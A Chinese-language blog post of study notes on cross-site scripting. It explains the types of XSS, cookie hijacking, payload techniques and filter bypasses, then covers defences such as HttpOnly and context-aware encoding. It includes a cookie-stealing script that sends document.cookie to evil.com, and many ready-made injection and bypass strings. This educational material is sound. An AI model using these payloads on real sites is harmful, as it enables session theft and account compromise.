XSS

XSS(Cross Site Script)跨站脚本攻击,通常指黑客通过“HTML”注入篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

XSS分类

1.反射型XSS(非持久型XSS)
当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。举一个例子:

<?php
  $username=$GET_['username'];
  echo $username;
?>

那么我们可以提交:

username=<script>alert(1)</script>

这样就造成了漏洞利用,alert(1)处可以改为其他更有危害的js代码,比如把cookie发给攻击者。

2.存储型XSS(持久型XSS)
存储型XSS会把用户输入的数据“存储”在服务器端。允许用户存储数据的Web应用程序都可能会出现存储型XSS漏洞。当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。

3.DOM XSS
DOM(Document Object Model)文档对象模型。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。基于DOM型的XSS是不需要和服务器端交互的,它只发生在客户端处理数据阶段,比如:

<script>
  var temp=document.URL;
  var index=document.URL.indexOf("Content=")+4;
  var par=temp.substring(index);
  document.write(decodeURI(par));
</script>

如果输入如下就会产生XSS漏洞:

http://www.secbug.org/dom.html?content=<script>alert(/xss/)</script>

其实DOM XSS从效果上来说也是反射型XSS。

XSS利用

这边先补充一下手动检测XSS漏洞的时候如何迅速获得输出的位置。一般我们是输入以下敏感字符,例如:

<  >  "  '  ()  

等等,在提交请求后查看HTML源代码,看这些输入的字符是否被转义。在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不太容易,这时可以输入

AAAAA<>"'&

字符串,然后在查找源代码的时候直接查找AAAAA或许比较方便。

Cookie劫持

HTTP是无状态的,所以Web服务器需要额外的数据用于维护会话。Cookie正是一段随HTTP请求、响应一起被传递的额外数据,它的主要作用是标识用户、维护会话。

1.Cookie的分类:
Cookie按照在客户端中存储的位置,可分为内存Cookie和硬盘Cookie。内存Cookie由浏览器维护,保存在内存中,浏览器关闭后就消失,其存在时间是短暂的。硬盘Cookie保存在硬盘里,有一个过期时间,除非用户手动清理或到了过期时间,否则硬盘Cookie不会被删除,其存在时间是长期的。所以,Cookie也可分为持久Cookie和非持久Cookie。

2.Cookie格式

Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<data>][;domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]

各选项含义:
1.name=value:必须要有的,在字符串“name=value”中,不含分号、逗号和空格等字符。
2expires=date:Expires确定了Cookie的有效终止日期,该属性值date必须以特定的格式来书写。该变量可省,如果缺省,则Cookie的属性值不会保存在用户的硬盘中,而仅仅保存在内存中,Cookie将随浏览器的关闭而自动消失。
3.domain=domain-name:Domain变量确定了哪些Internet域中的Web服务器可读取浏览器存储的Cookie,即只有来自这个域的页面才可以使用Cookie中的信息。这项设置是可选的,如果缺省,值为该Web服务器的域名。
4.path=path:Path属性定义了Wen服务器上哪些路径下的页面可获取服务器发送的Cookie。如果Path属性的值为“/”,则Web服务器上所有的WWW资源均可读取该Cookie。同样,该项设置是可选的,如果缺省,则Path的属性值为Web服务器传给浏览器的资源路径名。
5.Secure:在Cookie中标记该变量,表明只有当浏览器和Web Server之间的通信协议为加密认证协议时,浏览器才向服务器提交相应的Cookie。当前这种协议只有一种,即为HTTPS。
6.HTTPOnly:禁止JavaScript读取。
Cookie中的大部分内容经过了加密处理。
补充:在BurpSuite中,选择Proxy——>Options——>Match and Replace中可以使用者则表达式匹配Cookie字段并进行替换。

有些开发者使用Cookie时,不会当作身份验证来使用,比如,存储一些临时信息。这时,即使黑客拿到了Cookie也是没有用处的、并不是说只要有Cookie,就可以“会话劫持”。

3.Cookie劫持的例子
例如:攻击者先加载一个远程脚本:

http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>

真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码:

#evil.js
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

escape()函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

4.Cookie劫持的防御
这里简单说一下两种防御:一是HTTPOnly,二是把Cookie与客户端IP绑定,具体在XSS防御中解释。

5.Session
除Cookie之外,维持会话状态还有一种形式是Session。Session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息。Web中的Session是指用户在浏览某个网站时,从进入网站到浏览器关闭所经过的这段时间,也就是一次客户端与服务器端的“对话”,被称为Session,当浏览器关闭后,Session自动注销。
服务器区别用户依靠的就是SessionID,。如果服务器关闭或者浏览器关闭,Session将自动注销,当用户再次连接时,将会重新分配。
SessionID可以存储在Cookie中:

# HTTP Request
Cookie:PHPSESSID=2ns18......
# HTTP Response
Set-Cookie:JSESSIONID=2ns18......

SessionID也可以在URL中呈现:

http://www.xxser.com/user.action;jsessionid=2ns18...

Session与Cookie的最大区别在于,Cookie是将数据存储在客户端,而Session则是保存在服务器端,仅仅是在客户端存储一个ID。相对来说,Session比Cookie要安全。

XSS Payload

XSS不仅可以劫持Cookie,还可以进行以下攻击:

1.构造GET和POST请求
GET请求就不说了,之前通过设置<img>的src属性发的包就是GET包,POST包我们常常有两种方法:

#构造DOM节点(当然,你也可以直接写一个表单)
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_test" />'+
'</form>'

document.getElementById("xssform").submit();
#通过XMLHttpRequest发送一个POST请求
var url="http://www.douban.com";
var postStr="ck=JiUY&mb_text=test1234";
var ajax=null;
if(window.XMLHttpRequest){
  ajax=new XMLHttpRequest();
}
else if (window.ActiveXObject){
  ajax=new ActiveXObject("Microsoft.XMLHTTP");
}
else{
  return;
}

ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange=function(){
  if(ajax.readyState==4&&ajax.status==200){
    alert("Done!");
  }
}

2.XSS钓鱼
上述单纯的发表单时不够的,比如可能需要用户输入验证码之类的,这时候需要其他步骤的辅助。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
如果通过“钓鱼”获得用户的密码呢?可以利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登陆框中输入用户名和密码后,其密码将被发送至黑客的服务器上。

3.识别用户浏览器
XSS可以通过读取浏览器的UserAgent对象从而识别浏览器版本:

alert(navigator.userAgent);

但是其实浏览器的UserAgent对象是可以伪造的,所以通过JavsScript取出来的这个浏览器对象,信息并不一定准确。
另一种靠谱的方式是识别浏览器之间的实现存在的差异,从而推断出浏览器版本,即指纹识别的方式。代码参考《白帽子讲Web安全》第54页。

4.识别用户安装的软件
Firefox的插件(Plugins)列表存放在一个DOM对象中,直接查询“navigator.plugins”对象就可以找到所有插件了。
而Firefox的扩展则可以通过检测扩展的图标来判断某个特定的扩展是否存在。在Firefox中有一个特殊的协议:chrome:// ,Firefox的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:

chrome://flashgot/skin/icon32.png

那么XSS Payload可以构造如下:

var m=new Image();
m.onload=function(){
  alert(1);
};
m.onerror=function(){
  alert(2);
};
m.src="chrome://flashgot/skin/icon32.png";

5.CSS History Hack
利用的是style的visited属性:如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。POC在《白帽子讲Web安全》第58页。

6.获取用户的真实IP地址
当用户使用了代理服务器或者NAT时候,网站看到的IP地址其实是内网的出口IP地址,而并非用户电脑真实的本地IP地址。JavaScript本身并没有提供获取本地IP地址的能力,可以借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地地址。

7.XSS GetShell
通过XSS来getshell是难以实现的。
在DedeCMSV57-GBK-SP1中,用户在评论的时候传入的表单并没有title字段,但是在后端的PHP程序中突然冒出来一个$title变量,并且使用addslashes()函数过滤后赋值给变量$arctitle。
addslashes()函数会在指定的预定义字符前添加反斜杠,其中的预定义字符包括单引号(')、双引号(")、反斜杠(\)、NULL。但是addslashes()函数经常是用来过滤SQL注入的,对XSS并没有防御作用。
所以,$arctitle的值就被插入了数据库中,造成存储型XSS漏洞。但是,$title变量的值会出现在评论管理页面,当管理员访问的时候就会触发这个XSS Payload。
DedeCMS有一个模块就是在线文件管理,可以新建、编辑和删除文件。而新建文件本质上就是发一个POST包,所以将XSS Payload构造为发送编辑木马文件的POST包,就可以植入Webshell了。

8.XSS蠕虫
这个就不细讲了,和普通XSS不一样的是除了达成攻击目的,还将受害者变成感染源继续传播。

XSS构造技巧与各种绕过姿势

1.利用字符编码
有这个一个情况,在<script>标签中输出了一个变量,这个变量处于双引号当中并且转义了双引号,所以按理说不会出现XSS漏洞:

var redirectUrl="\";alert(/xss/);"

但是,其返回的页面是GBK/GB2312编码的,因此“%c1\”这两个字符组合在一起后会变为一个Unicode字符,在Firefox下会认为这是一个字符,随哟可以构造如下PayLoad:

%c1";alert(/xss/);//

这样就成功逃离了双引号,绕过系统的安全检查。

2.绕过长度限制
很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的,假设下面代码存在一个XSS漏洞:

<input type=text value="$var" />

服务器端如果对输出变量“$var”做了严格的长度限制,那么攻击者的XSS PayLoad可能会被截断,就无法完成攻击。对此,攻击者可以利用事件(Event)来缩短所需要的字节数:
一般的XSS PayLoad:

<input type=text value=""><script>alert(/xss/)</script>" />

改进后如下:

<input type=text value="" onclick=alert(1)//"/>

当然还可以把XSS PayLoad写在别处引用。最常用的一个隐藏的地方是“location.hash”,即url中锚的部分,也就是从#开始的部分。而根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而也更好地隐藏了黑客真实的意图:

<input type=text value="" onclick="eval(location.hash.substr(1))" />

对应的url为:

http://www.a.com/test.html#alert(1)

除了上述方法可以绕过长度限制,还可以使用注释符:
比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的“注释”符号,把两个文本框之间的HTML代码全部注释掉:
打通前:

<input id=1 type="text" value="" />
xxxxxxxxxx
<input id=2 type="text" value="" />

打通后:

<input id=1 type="text" value=""><!--" />
xxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

这样第一个input框中输入的字符其实是很少的!

3.使用<base>标签
<base>标签的作用是定义页面上的所有使用“相对路径”标签的hosting地址。比如:

<body>
  <base href="http://www.google.com">
  <img src="/intl/en_ALL/images/srpr/logolw.png">
</body>

这张图片的实际地址为:

http://www.google.com/intl/en_ALL/images/srpr/logolw.png

<base>标签可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。
那么,攻击者如果在页面中插入了<base>标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用“相对路径”的标签。所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。

4.window.name的妙用
window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。
www.a.com/test.html的代码如下:

<body>
  <script>
    window.name="test";
    alert(document.domain+"     "+window.name);
    window.location="http://www.b.com/test1.html";
  </script>
</body>

www.b.com/test1.html的代码如下:

<body>
  <script>
    alert(document.domain+"     "+window.name);
  </script>
</body>

可以发现自动跳转www.b.com/test1/htmlwindow.name的值仍然为test,实现了数据的跨域传输。
使用window.name可以缩短XSS Payload的长度,比如:

<script>
  window.name="alert(document.cookie)";
  location.href="http://www.xssedsite.com/sxxed.php";
</script>

在同一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:

eval(name);

5.一些其他情况
参考《白帽子讲Web安全》82页
补充:第三方Cookie是指保存在本地的Cookie,也就是服务器设置了expire时间的Cookie。

XSS防御

1.HttpOnly
浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格地说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持攻击。
但是曾经出现过一些能够绕过HttpOnly的攻击方法:
Apache支持的一个Header是TRACE方法,一般用于调试,它会将请求头作为HTTP Response Body返回。利用这个特性,可以把HttpOnly Cookie读出来:

<script type="text/javasscript">
<!--
function sendTrace(){
  var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  xmlHttp.open("TRACE","http://foo.bar",false);
  xmlHttp.send();
  xmlDoc=xmlHttp.responseText;
  alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

2.输入检查
输入检查的逻辑,必须放在服务器端代码中实现。因为在客户端中使用JavaScript进行输入检查很容易被绕过。客户端中的检查主要用于阻止正常用户的错误操作,从而节约服务器资源。
在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等。如果发现存在特殊字符,则将这些字符过滤或者编码。
比较智能的“输入检查”,可能还会匹配XSS的特征。比如查找用户数据中是否包含了“<script>”、“javascript”等敏感字符。
这种其实就是XSS Filter。但是此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。
XSS Filter还有一个问题,就是对特殊字符的处理可能会改变数据的语义,比如:
用户输入的昵称如下:

$nickname='我是"天才"'

如果在XSS Filter中对双引号进行转义:

$nickname='我是\"天才\"'

在HTML代码中展示时:

<div>我是\"天才\"</div>

在JavaScript代码中展示时:

<script>
var nick='我是\"天才\"';
document.write(nick);
</script>

前者的结果是: 我是"天才"
后者的结果是: 我是"天才"

3.输出检查
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义方式来防御XSS攻击。
编码分为很多种,针对HTML代码的编码方式是HTMLEncode:

&  -->  &amp;
<  -->  &lt;
>  -->  &gt;
"  -->  &quot;
'  -->  &#x27;  &apos;不推荐
/  -->  &#x2F;

在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足要求。
针对JavaScript的编码方式可以使用JavaScriptEncode:
JavaScriptEncode需要使用“\”对特殊字符进行转义,还要求输出的变量必须在引号内部,以避免造成安全问题。可以比较一下:

var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';

如果escapeJavascript()函数只转义了几个危险字符,比如'、"、<、>、\、&、#等,那么上面的两行代码输出后可能会变成:

var x=1;alert(2);
var y="1;alert(2)";

第一行执行了JavaScript代码,而第二行是安全的。
可以使用一个更加严格的JavascriptEncode函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码,如此代码可以保证是安全的。白帽子的第96页有实例。
还有很多其他的各种情况下的编码函数,比如:XMLEncode、JSONEncode等。需要注意的是,编码后的数据长度可能发生改变,从而影响某些功能。

4.正确地防御XSS
如果网站使用了MVC架构,那么XSS就发生在View层——在应用拼接变量到HTML页面时产生。所以在用户提交数据处进行输入检查的方案,其实并不是在真正发生攻击的地方做防御。
下面分场景考虑(变量“$var”表示用户数据):
在HTML标签中输出:

<div>$var</div>
<a href=# >$var</a>

利用方法:

<div><script>alert(/xss/)</script></div>
<a href=# ><img src=# onerror=alert(1) /></a>

防御方法是对变量使用HtmlEncode。
在HTML属性中输出:

<div id="abc" name="$var" ></div>

利用方法:

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防御方法也是采用HtmlEncode。
这里补充一下,在OWASP ESAPI中推荐了一种更严格的HtmlEncode——除了字母、数字外,其他所有的特殊字符都被编码成HTMLEntities:

String safe=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));

在<script>标签中输出:
在<script>标签中输出时,首先应该确保输出的变量在引号中:

<script>
var x="$var";
</script>

利用方法则需要先闭合引号:

<script>
var x="";alert(/xss/);//";
</script>

防御时使用JavascriptEncode。
在事件中输出:

<a href=# onclick="funcA('$var')" >test</a>

利用方式:

<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>

防御时使用JavascriptEncode。
在CSS中输出:
这种情况比较多样化:

<STYLE>@import'http://ha.ckers.org/xss.css';<STYLE>
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('xss')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">

所以尽可能禁止用户可控制的变量在“<style>标签”、“HTML标签的style属性”以及“CSS文件”中输出。如果一定有这样的需求,则推荐使用OWASP ESPAI中的encodeForCSS()函数。
在地址中输出:

<a href="http://www.evil.com/?test=$var" >test</a>
<a href="$var" >test</a>

利用方法:

<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
<a href="javascript:alert(1);">test</a>
<a href="data:text/html;base64 PHNjcmlwdD5hbGVydCggxKTs8L3NjcmlwdD4=">test</a>

对于第二种利用方法,除了“javascript”作为伪协议可以执行代码外,还有“vbscript”、“dataURI”等伪协议可能导致脚本执行。
对于第三种利用方法,使用了“dataURI”伪协议,这是Mozilla所支持的,能够在一段代码写在URL里。这段代码的意思是,以text/xml的格式加载编码为base64的数据,加载完成后实际上是:

<script>alert(1)</script>

如果用户能控制整个URL,那么应该先检查变量是否以“http”开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。在此之后,再对变量进行URLEncode。注意:严格的URLEncode函数不能作用于整个URL,否则会把协议部分和域名部分的“://”、“.”等都编码掉。

5.处理富文本
用户提交的一些自定义的HTML代码成为富文本。比如一个用户在论坛里发帖,帖子的内容里要有图片、视频、表格等,这些富文本的效果都需要通过HTML代码来实现。
由于富文本是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中,因此可以特殊处理。
在过滤富文本时,“事件”应该被严格禁止。还需要避免一些危险的标签,比如<iframe>、<script>、<base>、<form>等。在标签、属性和事件(万一需要使用)的选择上,建议使用白名单。同时应该尽可能地禁止用户自定义CSS与style。如果一定要允许用户自定义样式,则是能像过滤“富文本”一样过滤“CSS”。这需要一个CSS Parser对样式进行智能分析,检查器中是否包含危险代码。

6.防御DOM Based XSS
DOM Based XSS与之前不同的地方在于:其是从JavaScript中输出数据到HTML页面里。而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。比如以下这个例子:

<script>
  var x="$var";
  document.write("<a href=' "+x+" ' >test</a>");
</script>

第一想法是$var出现在了js中,那么需要javascriptEncode,但是因为$var会通过document.write拼接到HTML页面中,故仍然可能产生XSS漏洞:

<script>
  //x=" 'onclick=alert(1);//"
  var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
  document.write("<a href=' "+x+" ' >test</a>");
</script>

其原因在于在<script>标签执行时,已经对变量x进行了解码(js解码),其后doncument.write再运行时,其参数就变成了:

<a href=' 'onclick=alert(1)//'' >test</a>

另一种想法是对$var使用HtmlEncode:

<script>
  //x=1");alert(2);//"
  var x="1&#x22;&#x29;&#x3b;alert&#x28;2&#x29;&#x3b;&#x2f;&#x2f;&#x22;";
  document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>

渲染结果如下,点击tets会执行两次alert:

image.png

至于为啥能成功,参考:
https://zhuanlan.zhihu.com/p/59391832
https://www.hacking8.com/MiscSecNotes/encode.html

正确的处理方式是:在$var输出到<script>时,应该执行一次javascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要做一次HtmlEncode。

容易触发DOM Based XSS的地方:

//从JavaScript到HTML页面的必经之路
document.write()
document.writeIn()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
...
//还有一些其它地方
页面中所有的inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
...

参考书籍:
《白帽子讲Web安全》
《Web安全深度剖析》

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,839评论 6 482
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,543评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 153,116评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,371评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,384评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,111评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,416评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,053评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,558评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,007评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,117评论 1 334
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,756评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,324评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,315评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,539评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,578评论 2 355
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,877评论 2 345

推荐阅读更多精彩内容